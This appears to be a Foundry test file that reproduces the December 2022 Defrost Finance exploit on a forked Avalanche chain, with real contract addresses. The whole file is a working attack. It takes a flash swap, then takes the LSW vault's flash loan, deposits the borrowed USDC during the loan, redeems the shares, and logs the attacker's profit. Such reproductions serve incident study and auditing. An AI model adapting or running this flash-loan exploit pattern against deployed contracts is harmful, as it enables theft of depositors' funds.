src/test/2022-12/Defrost_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/PeckShieldAlert/status/1606276020276891650
9// @TX
10// https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d
11 
12interface LSWUSDC {
13    function maxFlashLoan(
14        address token
15    ) external view returns (uint256);
16    function flashFee(address token, uint256 amount) external view returns (uint256);
17    function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;
18    function deposit(uint256 amount, address to) external returns (uint256);
19    function redeem(uint256 shares, address receiver, address owner) external;
20}
21 
22contract ContractTest is Test {
23    IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
24    LSWUSDC LSW = LSWUSDC(0xfF152e21C5A511c478ED23D1b89Bb9391bE6de96);
25    Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
26    uint256 flashLoanAmount;
27    uint256 flashLoanFee;
28    uint256 depositAmount;
29 
30    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
31 
32    function setUp() public {
33        cheats.createSelectFork("avalanche", 24_003_940);
34    }
35 
36    function testExploit() public {
37        flashLoanAmount = LSW.maxFlashLoan(address(USDC));
38        flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);
39        Pair.swap(0, flashLoanAmount + flashLoanFee, address(this), new bytes(1));
40 
41        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);
42    }
43 
44    function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
45        LSW.flashLoan(address(this), address(USDC), flashLoanAmount, new bytes(1));
46        LSW.redeem(depositAmount, address(this), address(this));
47        USDC.transfer(address(Pair), (flashLoanAmount + flashLoanFee) * 1000 / 997 + 1000);
48    }
49 
50    function onFlashLoan(
51        address initiator,
52        address token,
53        uint256 amount,
54        uint256 fee,
55        bytes calldata data
56    ) external returns (bytes32) {
57        USDC.approve(address(LSW), type(uint256).max);
58        depositAmount = LSW.deposit(flashLoanAmount, address(this));
59        return keccak256("ERC3156FlashBorrower.onFlashLoan");
60    }
61}